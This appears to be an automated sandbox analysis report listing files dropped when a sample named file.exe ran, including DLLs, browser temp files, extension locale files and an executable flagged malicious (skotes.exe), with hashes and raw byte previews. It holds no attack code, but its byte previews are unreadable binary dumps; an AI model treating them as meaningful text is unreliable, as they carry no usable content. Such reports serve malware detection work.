Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@...........................3.....gR3...@.................................W...k...........................$.2...............................2..................................................... . ............................@....rsrc...............................@....idata ............................@...zkpqwmrk. ,.......,.................@...gfzteylm......2.......2.............@....taggant.0....2.."....2.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1a1a96af-e16e-4be0-9146-59b876de36d4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1741438
Entropy (8bit):	7.84578020135763
Encrypted:	false
SSDEEP:	49152:IK43i72pdH/3/EMFfFnb0CfM7yoVQeLF9CODONvIUbbYEohU:IK4Zl3cMFtnnGVQeLzCDRIE8U
MD5:	FFE51463333A7EEE295FDD084457F286
SHA1:	6A73E72BD08A07C08DFC36744CD59C3798A660D8
SHA-256:	D22D61A207C31F341C5721714D42F2D5F37363BD494FE86969D4261F5CDB3409
SHA-512:	CD59814B58154C06C596CD8AF0C2E3559564F3BC521504E80B1EDBEDE00B4247533E64E2A2401CF48C4C5A16EB70B69D0EFCEB0E5CD5C8BE4CD9B99F1FA80BA8
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....eXIfMM..............................J...........R.(...........i.........Z.......H.......H.............................2...........2...........pHYs................YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>..^......IDATh..Z.t\.y.f.fF.b$.....2.%.0`...qR..&.J..4...a+1.p....z ...J....p @h....W..E.b-3...w.<i$.b..........+.S.Ip....\n...7..#........m.......s....3~..D.nn.,.y.Q..@eA5f.7`F.L.e.#3#.nX..D.n...n.U.e.g.\H...>IW.s.s..!.D.r[.K.....-k.r..x...@.(..<O6<n.D..r.TmD.$c.'z..A....../..?@]Y.....2...d....J...+.t=.l.}.!.RH.I..H`..xo..X..)...e.. c..n#..d...p..Bz.....(.$....4E:.L.

C:\Users\user\AppData\Local\Temp\5b164f54-cb03-4263-9acb-9f0d040128f5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\67208bfc-ad9a-4667-9c9e-2b7d5b6ee92a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\7dc9915d-8b45-4e36-84c8-6c65da5e2b68.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\8c614a3c-a298-4a70-abf7-6c27b549a987.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\9edbd9a6-3220-4626-a114-9c4aeeee79c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsJJJJKEHCAK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3330048
Entropy (8bit):	6.642359553452517
Encrypted:	false
SSDEEP:	98304:5whLro2pYqTUDsHK6eR+7GjHIyHIcXKL4p:6hLro2pYqTUDaYItHLg
MD5:	8DB5B5875102EBB49A41696B0EF8F4FF
SHA1:	1E2D72813BABF474ACA4EE06C10CBD3ADAA3C6BA
SHA-256:	06058C50E21FC01792A691A64F0C4C40F66468260AC4CAB71288193A58C62C14
SHA-512:	834BEB092015E6BBDE5180A99BEAE51620397F0DFBCECD99A002C5A39DB64CC8DC0F95B14933A1F6CBFC6C389B1C815549D7068799A4387A0D42529049119751
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@...........................3.....gR3...@.................................W...k...........................$.2...............................2..................................................... . ............................@....rsrc...............................@....idata ............................@...zkpqwmrk. ,.......,.................@...gfzteylm......2.......2.............@....taggant.0....2.."....2.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bbdb9d62-1383-4fe1-b301-595f8f3f0570.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.3979121956245955
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrw:8e2Fa116uCntc5toY2lFVIUryM
MD5:	4C7217B1178DE27761998EE9A05BC837
SHA1:	7F660E1BA12BFFD43619BA1E58B51032EC7F37C1
SHA-256:	CB6D1686571ED06158581AB6B9BC9CB54BA9E45E0A0909D3794711F3CB405FA6
SHA-512:	BCA5B753947FB75B53B7756DA5A34B7AE6326F2908E15F7468E6D0DB6D07CE91E2FE3F3829EEB183183C6B6548941AF9BA0579C155349093BF14D526EA1C54C0
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\67208bfc-ad9a-4667-9c9e-2b7d5b6ee92a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
